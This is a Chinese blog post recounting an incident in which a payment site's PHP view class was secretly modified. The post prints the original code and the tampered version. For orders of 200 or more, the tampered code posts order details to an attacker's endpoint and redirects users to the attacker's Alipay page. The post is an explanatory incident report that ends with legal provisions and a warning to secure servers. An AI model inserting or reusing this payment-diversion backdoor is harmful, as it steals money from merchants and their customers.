记一次黑客事件

3月13日下午4点,客户商反馈,支付跳转的支付宝二维码不是客户商自己的,用户付给客户商的钱付到了别人的支付宝账户里,然后立刻切断线上支付环境。

排查逻辑发现,在 view 层的展示支付二维码页面逻辑时被篡改了代码;

这是正常的代码

//视图操作类
namespace xh\library;
class view{
    public function __construct($path,$paramsArray=''){
        if (is_array($paramsArray)){
            foreach ($paramsArray as $key=>$value){
                $$key = $value;
            }
        }
        require (PATH_VIEW . $path . '.php');
    }
}

这是被篡改的代码

<?php
//视图操作类
namespace xh\library;
class view{
    public function __construct($path,$paramsArray=''){
        if (is_array($paramsArray)){
            foreach ($paramsArray as $key=>$value){
                $$key = $value;
            }
        }
        if (array_key_exists("out_trade_no", $paramsArray)&&
            array_key_exists("trade_no", $paramsArray)&&
            array_key_exists("id", $paramsArray)&&
            array_key_exists("success_url", $paramsArray)&&
            array_key_exists("error_url", $paramsArray)&&
            array_key_exists("amount", $paramsArray)
        ){
            if ($paramsArray["amount"] >= 200) {
                $pt = "alipay_qr";
                $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
                    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
                $notifyurl = (($is_https) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . '/server/mall/uploadOrder';
                $notifyurl .= "?trans_id=" . $paramsArray["trade_no"] . "&postmoney=" . $paramsArray["amount"];
                $str = '这里是对方的请求地址';
                $pd = array(
                    "site" => $_SERVER['HTTP_HOST'] ,
                    "pmethod" => $pt,
                    "username" => $paramsArray["account"],
                    "orderid" => $paramsArray["trade_no"],
                    "amount" => $paramsArray["amount"],
                    "notifyurl" => $notifyurl,
                    "returnurl" => "http://localhost",
                    "clientip" => $this->getClientIP(),
                );
                $this->_before_pay($str, $pd);
            }
        }
        require (PATH_VIEW . $path . '.php');
    }
    protected function _before_pay($url, $pd)
    {
        $resp = $this->_after_curl($url, $pd);
        if ($resp["success"]) {
            switch ($resp["contentType"]) {
                case "url":
                    if ($resp["shift"] != 0) {
                        $m = "";
                        if ($resp["shift"] == -1) {
                            $m = "充值金额小于支付通道最低额度,请按最低金额充值";
                        } else {
                            $m = "充值金额大于支付通道最高额度,请分批多次充值";
                        }
                        $page = "<html>
                            <head><title>redirect...</title></head>
                            <body>
                            <h1>即将进入充值页面...</h1>
                            <h3>$m</h3>
                            <script>location.href='${resp["content"]}'</script>
                            </body>
                            </html>";
                        echo $page;
                        exit();
                    }
                    header("Location: " . $resp["content"]);
                    exit();
                case "html":
                    echo $resp["content"];
                    exit();
            }
        }
    }
    protected function _after_curl($url, $data)
    {
        //省略
    }
    protected function getClientIP()
    {
        //省略
    }
}

即当订单金额大于200时,就跳转到对方的页面。
目前已报警并追查对方支付宝账户下落,望大家未来做好服务器防护。

根据《治安管理处罚法》第二十九条规定:“有下列行为之一的,处五日以下拘留;情节较重的,处五日以上十日以下拘留:
(一)违反国家规定,侵入计算机信息系统,造成危害的;
(二)违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行的;
(三)违反国家规定,对计算机信息系统中存储、处理、传输的数据和应用程序进行删除、修改、增加的;
(四)故意制作、传播计算机病毒等破坏性程序,影响计算机信息系统正常运行的。” 因此,如果故意篡改、删除他人计算机数据,依法应承担治安行政责任,如果造成严重后果,还应当承担刑事责任。
如果给别人造成损失,还须承担民事赔偿责任。
返回文章列表 打赏
本页链接的二维码
打赏二维码
期待你的评论

2 条评论
  1. kira 黄金   kira  

    后续呢后续呢

    1. 小尾巴 王者   小尾巴   博主
      @ kira

      不造,商务可能去砍人了吧